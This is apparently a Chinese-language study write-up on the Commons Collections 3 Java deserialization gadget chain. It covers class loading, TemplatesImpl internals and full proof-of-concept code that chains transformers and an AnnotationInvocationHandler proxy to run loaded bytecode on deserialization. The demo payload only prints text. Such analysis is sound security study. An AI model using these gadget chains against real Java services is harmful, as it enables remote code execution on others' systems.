CommonsCollections3

字节码

严格来说,Java字节码(ByteCode)其实仅仅指的是Java虚拟机执行使用的一类指令,通常被存储在.class文件中。

URLClassLoader加载字节码

Java的ClassLoader是用来加载字节码文件的最基础的方法

正常情况下,Java会根据配置项sun.boot.class.pathjava.class.path中列举到的基础路径(这些路径是经过处理后的java.net.URL类)来寻找.class文件来加载,而这个基础路径有三种情况:

  • URL未以/结尾,则认为是一个JAR文件,使用JarLoader来寻找类,即为在Jar包中寻找.class文件
  • URL以/结尾,且协议名是 file ,则使用 FileLoader 来寻找类,即为在本地文件系统中寻找.class文件
  • URL以/结尾,且协议名不是file,则使用最基础的Loader来寻找类

  • 本地编译一个Hello类,然后通过HTTP协议远程加载 ```java package com.naraku.sec.bytecode;

import java.net.URL; import java.net.URLClassLoader;

public class HelloClassLoader { public static void main(String[] args) throws Exception { URL[] urls = { new URL(“http://localhost:9999/“) }; URLClassLoader loader = URLClassLoader.newInstance(urls); Class clazz = loader.loadClass(“Hello”); clazz.newInstance(); } }

  1. ![image.png](https://cdn.nlark.com/yuque/0/2022/png/520228/1649842558366-b3ff97c3-d365-495c-8e9f-800019e7a4c6.png#clientId=u62cf9c06-f24e-4&crop=0&crop=0&crop=1&crop=1&from=paste&height=240&id=u5dc02e3a&margin=%5Bobject%20Object%5D&name=image.png&originHeight=480&originWidth=1015&originalType=binary&ratio=1&rotation=0&showTitle=false&size=117186&status=done&style=none&taskId=u145a5b1f-1ba3-484d-a6e6-89ac6e0f46d&title=&width=507.5)
  2. <a name="Y9TBL"></a>
  3. ### defineClass加载字节码
  4. 不管是加载远程class文件,还是本地classjar文件,Java都经历的是下面这三个方法调用:<br />`ClassLoader#loadClass > ClassLoader#findClass > ClassLoader#defineClass`
  5. 其中:
  6. - `loadClass`的作用是从已加载的类缓存、父加载器等位置寻找类(这里实际上是双亲委派机制),在前面没有找到的情况下,执行`findClass`
  7. - `findClass`的作用是根据基础URL指定的方式来加载类的字节码,就像上一节中说到的,可能会在本地文件系统、jar包或远程http服务器上读取字节码,然后交给`defineClass`
  8. - `defineClass`的作用是处理前面传入的字节码,将其处理成真正的Java
  9. 所以可见,真正核心的部分其实是`defineClass`,它决定了如何将一段字节流转变成一个Java类,Java默认的`ClassLoader#defineClass`是一个`native`方法。
  10. <a name="A4aMB"></a>
  11. #### LoaderClass
  12. - 先把前面的`Hello.java`编译成`Hello.class`,然后将该class文件进行加载
  13. ```java
  14. package com.naraku.sec.bytecode;
  15. import java.io.ByteArrayOutputStream;
  16. import java.io.FileInputStream;
  17. public class LoaderClass {
  18. public static byte[] load(String path) {
  19. FileInputStream fis = null;
  20. ByteArrayOutputStream baos = null;
  21. try {
  22. fis = new FileInputStream(path);
  23. baos = new ByteArrayOutputStream();
  24. byte[] buffer = new byte[1024];
  25. int len = -1;
  26. while ((len = fis.read(buffer)) != -1) {
  27. baos.write(buffer, 0, len);
  28. baos.flush();
  29. }
  30. return baos.toByteArray();
  31. }
  32. catch (Exception e) {
  33. e.printStackTrace();
  34. }
  35. finally {
  36. if (fis != null) {
  37. try { fis.close(); }
  38. catch (Exception e) { e.printStackTrace(); }
  39. }
  40. if (baos != null) {
  41. try { baos.close(); }
  42. catch (Exception e) { e.printStackTrace(); }
  43. }
  44. }
  45. return null;
  46. }
  47. }

加载字节码

  1. package com.naraku.sec.bytecode;
  2. import java.lang.reflect.Method;
  3. public class HelloDefineClass {
  4. public static void main(String[] args) throws Exception {
  5. Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
  6. defineClass.setAccessible(true);
  7. byte[] code = LoaderClass.load("src/main/java/Hello.class");
  8. Class hello = (Class) defineClass.invoke(ClassLoader.getSystemClassLoader(), code, 0, code.length);
  9. hello.newInstance();
  10. }
  11. }

注意一点,在defineClass被调用的时候,类对象是不会被初始化的,只有这个对象显式地调用其构造函数,初始化代码才能被执行。
而且,即使我们将初始化代码放在类的static块中,在defineClass时也无法被直接调用到。所以,如果我们要使用defineClass在目标机器上执行任意代码,需要想办法调用构造函数

因为系统的ClassLoader#defineClass是一个保护属性,所以我们无法直接在外部访问,不得不使用反射的形式来调用。在实际场景中,因为defineClass方法作用域是不开放的,所以攻击者很少能直接利用到它

TemplatesImpl加载字节码

虽然大部分上层开发者不会直接使用到defineClass方法,但是Java底层还是有一些类用到了它,这就是TemplatesImpldefineClass是攻击链TemplatesImpl的基石。

com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl这个类定义了一个内部类TransletClassLoader。其中重写了defineClass方法,并且没有显示声明定义域,因此定义域默认为default。也就是说这里的defineClass由其父类的protected类型变成了一个default类型的方法,可以被类外部调用

  1. static final class TransletClassLoader extends ClassLoader {
  2. private final Map<String,Class> _loadedExternalExtensionFunctions;
  3. TransletClassLoader(ClassLoader parent) {
  4. super(parent);
  5. _loadedExternalExtensionFunctions = null;
  6. }
  7. TransletClassLoader(ClassLoader parent,Map<String, Class> mapEF) {
  8. super(parent);
  9. _loadedExternalExtensionFunctions = mapEF;
  10. }
  11. public Class<?> loadClass(String name) throws ClassNotFoundException {
  12. Class<?> ret = null;
  13. // The _loadedExternalExtensionFunctions will be empty when the
  14. // SecurityManager is not set and the FSP is turned off
  15. if (_loadedExternalExtensionFunctions != null) {
  16. ret = _loadedExternalExtensionFunctions.get(name);
  17. }
  18. if (ret == null) {
  19. ret = super.loadClass(name);
  20. }
  21. return ret;
  22. }
  23. /**
  24. * Access to final protected superclass member from outer class.
  25. */
  26. Class defineClass(final byte[] b) {
  27. return defineClass(null, b, 0, b.length);
  28. }
  29. }

defineClass()这里往前追溯,调用路径为:

  1. TemplatesImpl#getOutputProperties()
  2. TemplatesImpl#newTransformer()
  3. TemplatesImpl#getTransletInstance()
  4. TemplatesImpl#defineTransletClasses()
  5. TransletClassLoader#defineClass()

最前面两个方法TemplatesImpl#getOutputProperties()TemplatesImpl#newTransformer()作用域是public,可以被外部调用。

defineTransletClasses

TemplatesImpl#defineTransletClasses()

  • _bytecodes == null 时会抛出异常,因此需要使_bytecodes不为空
  • 然后在AccessController.doPrivileged()方法中,TransletClassLoader()需要传递参数_tfactory.getExternalExtensionsMap(),因此_tfactory也不能为空
  1. private void defineTransletClasses()
  2. throws TransformerConfigurationException {
  3. if (_bytecodes == null) {
  4. ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR);
  5. throw new TransformerConfigurationException(err.toString());
  6. }
  7. TransletClassLoader loader = (TransletClassLoader)
  8. AccessController.doPrivileged(new PrivilegedAction() {
  9. public Object run() {
  10. return new TransletClassLoader(ObjectFactory.findClassLoader(), _tfactory.getExternalExtensionsMap());
  11. }
  12. });
  13. try {
  14. final int classCount = _bytecodes.length;
  15. _class = new Class[classCount];
  16. if (classCount > 1) {
  17. _auxClasses = new HashMap<>();
  18. }
  19. for (int i = 0; i < classCount; i++) {
  20. _class[i] = loader.defineClass(_bytecodes[i]);
  21. final Class superClass = _class[i].getSuperclass();
  22. // Check if this is the main class
  23. if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
  24. _transletIndex = i;
  25. }
  26. else {
  27. _auxClasses.put(_class[i].getName(), _class[i]);
  28. }
  29. }
  30. if (_transletIndex < 0) {
  31. ErrorMsg err= new ErrorMsg(ErrorMsg.NO_MAIN_TRANSLET_ERR, _name);
  32. throw new TransformerConfigurationException(err.toString());
  33. }
  34. }
  35. catch (ClassFormatError e) {
  36. ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_CLASS_ERR, _name);
  37. throw new TransformerConfigurationException(err.toString());
  38. }
  39. catch (LinkageError e) {
  40. ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
  41. throw new TransformerConfigurationException(err.toString());
  42. }
  43. }

try{}代码块中:

  • 首先会用loader遍历加载字节码数组并获取对应的Class对象:loader.defineClass(_bytecodes[i])
  • 然后逐个获取Class对象的父类:_class[i].getSuperclass()
  • 最后判断父类名是否为AbstractTranslet

所以这段逻辑主要做权限校验,作用是判断通过字节码加载的类是否为AbstractTranslet的子类
image.png
另外在上面的逻辑中,当父类名不为AbstractTranslet时,就会向_auxClasses传值:
_auxClasses.put(_class[i].getName(), _class[i])
而在TemplatesImpl#writeObject()方法中,当_auxClasses != null时会抛出异常,即_auxClasses不为空时不能进行序列化

  1. private void writeObject(ObjectOutputStream os)
  2. throws IOException, ClassNotFoundException {
  3. if (_auxClasses != null) {
  4. //throw with the same message as when Hashtable was used for compatibility.
  5. throw new NotSerializableException(
  6. "com.sun.org.apache.xalan.internal.xsltc.runtime.Hashtable");
  7. }
  8. // Write serialized fields
  9. ObjectOutputStream.PutField pf = os.putFields();
  10. pf.put("_name", _name);
  11. pf.put("_bytecodes", _bytecodes);
  12. pf.put("_class", _class);
  13. pf.put("_transletIndex", _transletIndex);
  14. pf.put("_outputProperties", _outputProperties);
  15. pf.put("_indentNumber", _indentNumber);
  16. os.writeFields();
  17. if (_uriResolver instanceof Serializable) {
  18. os.writeBoolean(true);
  19. os.writeObject((Serializable) _uriResolver);
  20. }
  21. else {
  22. os.writeBoolean(false);
  23. }
  24. }

getTransletInstance

TemplatesImpl#getTransletInstance()

  • _name == null时将返回,因此需要设置_name的值,使其不为空
  • 另外这个调用了newInstance()实例化了一个AbstractTranslet类对象,触发恶意代码(可以在静态代码块,代码块和构造代码块三个位置)

    1. private Translet getTransletInstance()
    2. throws TransformerConfigurationException {
    3. try {
    4. if (_name == null) return null;
    5. if (_class == null) defineTransletClasses();
    6. // The translet needs to keep a reference to all its auxiliary
    7. // class to prevent the GC from collecting them
    8. AbstractTranslet translet = (AbstractTranslet)
    9. _class[_transletIndex].getConstructor().newInstance();
    10. translet.postInitialization();
    11. translet.setTemplates(this);
    12. translet.setOverrideDefaultParser(_overrideDefaultParser);
    13. translet.setAllowedProtocols(_accessExternalStylesheet);
    14. if (_auxClasses != null) {
    15. translet.setAuxiliaryClasses(_auxClasses);
    16. }
    17. return translet;
    18. }
    19. catch (InstantiationException | IllegalAccessException |
    20. NoSuchMethodException | InvocationTargetException e) {
    21. ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
    22. throw new TransformerConfigurationException(err.toString(), e);
    23. }
    24. }

    构造字节码

    根据前面的分析,加载的字节码需要继承自AbstractTranslet

  • 编写一个HelloTemplatesImpl类并继承自AbstractTranslet,快捷键Option+回车并选择Implement methods,最后再实现其它代码

image.png
image.png

  1. import com.sun.org.apache.xalan.internal.xsltc.DOM;
  2. import com.sun.org.apache.xalan.internal.xsltc.TransletException;
  3. import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
  4. import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
  5. import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
  6. public class HelloTemplatesImpl extends AbstractTranslet {
  7. static {
  8. System.out.println("Static");
  9. }
  10. {
  11. System.out.println("Code");
  12. }
  13. public HelloTemplatesImpl() {
  14. super();
  15. System.out.println("Constructor");
  16. }
  17. @Override
  18. public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}
  19. @Override
  20. public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}
  21. }

构造POC

尝试用newTransformer()构造一个简单的POC,需要注意以下几点

根据前面的分析,构造的POC需要设置_name/_bytecodes/_tfactory三个属性,使其不为空。但是应该设置什么值呢?其实可以通过TemplatesImpl类中的注释知道这几个属性的类型和作用:

  • _name为Class对象名,类型为String
  • _bytecodes为字节码,类型为byte[][]
  • _tfactory类型为TransformerFactoryImpl

image.png

  • POC代码如下: ```java package com.naraku.sec.bytecode;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;

import java.lang.reflect.Field;

public class HelloTempLoader {

public static void main(String[] args) throws Exception { // 加载字节码 byte[] code = LoaderClass.load(“src/main/java/HelloTemplatesImpl.class”);

  1. TemplatesImpl temp = new TemplatesImpl();
  2. // 设置属性
  3. Field name = temp.getClass().getDeclaredField("_name");
  4. name.setAccessible(true);
  5. name.set(temp, "HelloTemplatesImpl");
  6. Field bytecode = temp.getClass().getDeclaredField("_bytecodes");
  7. bytecode.setAccessible(true);
  8. bytecode.set(temp, new byte[][]{code});
  9. Field tfactory = temp.getClass().getDeclaredField("_tfactory");
  10. tfactory.setAccessible(true);
  11. tfactory.set(temp, new TransformerFactoryImpl());
  12. temp.newTransformer();

} }

  1. ![image.png](https://cdn.nlark.com/yuque/0/2022/png/520228/1650444868897-5b4cb9ff-1df9-4958-9d5d-42e286a82ce9.png#clientId=u21258c25-83cf-4&crop=0&crop=0&crop=1&crop=1&from=paste&height=148&id=u64f28ad2&margin=%5Bobject%20Object%5D&name=image.png&originHeight=295&originWidth=1027&originalType=binary&ratio=1&rotation=0&showTitle=true&size=47993&status=done&style=none&taskId=u76bcb236-d454-4e27-ac81-dc53dd0faff&title=%E8%BE%93%E5%87%BA%E7%BB%93%E6%9E%9C&width=513.5 "输出结果")
  2. <a name="pL498"></a>
  3. ## TemplatesImpl到CC3
  4. - 这里创建一个`CommonCollections3`类,利用`Transformer``TransformedMap`触发
  5. ```java
  6. import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
  7. import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
  8. import org.apache.commons.collections.Transformer;
  9. import org.apache.commons.collections.functors.ChainedTransformer;
  10. import org.apache.commons.collections.functors.ConstantTransformer;
  11. import org.apache.commons.collections.functors.InvokerTransformer;
  12. import org.apache.commons.collections.map.TransformedMap;
  13. import java.lang.reflect.Field;
  14. import java.util.HashMap;
  15. import java.util.Map;
  16. public class CommonCollections3 {
  17. public static void main(String[] args) throws Exception{
  18. // 加载字节码
  19. byte[] code = LoaderClass.load("src/main/java/HelloTemplatesImpl.class");
  20. TemplatesImpl temp = new TemplatesImpl();
  21. // 设置属性
  22. Field name = temp.getClass().getDeclaredField("_name");
  23. name.setAccessible(true);
  24. name.set(temp, "HelloTemplatesImpl");
  25. Field bytecode = temp.getClass().getDeclaredField("_bytecodes");
  26. bytecode.setAccessible(true);
  27. bytecode.set(temp, new byte[][]{code});
  28. Field tfactory = temp.getClass().getDeclaredField("_tfactory");
  29. tfactory.setAccessible(true);
  30. tfactory.set(temp, new TransformerFactoryImpl());
  31. // temp.newTransformer();
  32. Transformer[] transformers = new Transformer[] {
  33. new ConstantTransformer(temp),
  34. new InvokerTransformer("newTransformer", null, null)
  35. };
  36. Transformer transformerChain = new ChainedTransformer(transformers);
  37. Map innerMap = new HashMap();
  38. Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
  39. outerMap.put("test", "xxxx");
  40. }
  41. }

image.png

CC3

将ysoserial工具中的CommonCollections3与CommonCollections1进行对比,发现多了三个新的类:TemplatesImplInstantiateTransformerTrAXFilter
image.png

InstantiateTransformer

InstantiateTransformer:通过反射创建新对象实例
image.png

TrAXFilter

TrAXFilter:实例化时构造函数会调用TransformerImplnewTransformer方法,这也就免去了通过手工调用InvokerTransformer.newTransformer() ⽅法这⼀步
image.png

为何CC3不用InvokerTransformer: 当反序列化ysoserial工具出现后,有攻就有防,SerialKiller⼯具随之诞⽣。 SerialKiller是⼀个Java反序列化过滤器,可以通过⿊⽩名单的⽅式来限制反序列化时允许通过的类,在其第⼀个版本中,InvokerTransformer赫然在列,也就切断了CommonsCollections1的利⽤链。 ysoserial随后增加了不少新的Gadgets,其中就包括CommonsCollections3。

构造POC

  • 模仿CC1,通过LazyMapProxy触发漏洞,需Java 8u71以下 ```java import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap; import org.apache.commons.collections.map.TransformedMap;

import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.annotation.Retention; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.lang.reflect.InvocationHandler; import java.lang.reflect.Proxy; import java.util.HashMap; import java.util.Map;

public class CommonCollections3 { public static void main(String[] args) throws Exception{ // 加载字节码 byte[] code = LoaderClass.load(“src/main/java/HelloTemplatesImpl.class”);

  1. TemplatesImpl temp = new TemplatesImpl();
  2. // 设置属性
  3. Field name = temp.getClass().getDeclaredField("_name");
  4. name.setAccessible(true);
  5. name.set(temp, "HelloTemplatesImpl");
  6. Field bytecode = temp.getClass().getDeclaredField("_bytecodes");
  7. bytecode.setAccessible(true);
  8. bytecode.set(temp, new byte[][]{code});
  9. Field tfactory = temp.getClass().getDeclaredField("_tfactory");
  10. tfactory.setAccessible(true);
  11. tfactory.set(temp, new TransformerFactoryImpl());
  12. // temp.newTransformer();
  13. Transformer[] transformers = new Transformer[] {
  14. new ConstantTransformer(temp),
  15. new InvokerTransformer("newTransformer", null, null)
  16. };
  17. Transformer transformerChain = new ChainedTransformer(transformers);
  18. Map innerMap = new HashMap();
  19. // 直接触发
  20. // Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
  21. // outerMap.put("test", "xxx");
  22. // LazyMap+Proxy触发
  23. Map outerMap = LazyMap.decorate(innerMap, transformerChain);
  24. // 获取AnnotationInvocationHandler的构造函数
  25. Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
  26. Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
  27. constructor.setAccessible(true);
  28. // 利用构造函数实例化,创建与outerMap关联的InvocationHandler
  29. InvocationHandler handler = (InvocationHandler) constructor.newInstance(Retention.class, outerMap);
  30. // 实例化代理对象
  31. Map proxyMap = (Map) Proxy.newProxyInstance(
  32. Map.class.getClassLoader(),
  33. new Class[] {Map.class},
  34. handler
  35. );
  36. // 使用InvocationHandler对proxyMap重新包裹
  37. handler = (InvocationHandler) constructor.newInstance(Retention.class, proxyMap);
  38. // Serialization
  39. ByteArrayOutputStream baos = new ByteArrayOutputStream();
  40. ObjectOutputStream oos = new ObjectOutputStream(baos);
  41. oos.writeObject(handler);
  42. // System.out.println(baos);
  43. // Deserialization
  44. ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
  45. ObjectInputStream ois = new ObjectInputStream(bais);
  46. ois.readObject();
  47. ois.close();
  48. bais.close();
  49. oos.close();
  50. baos.close();

} } ``` image.png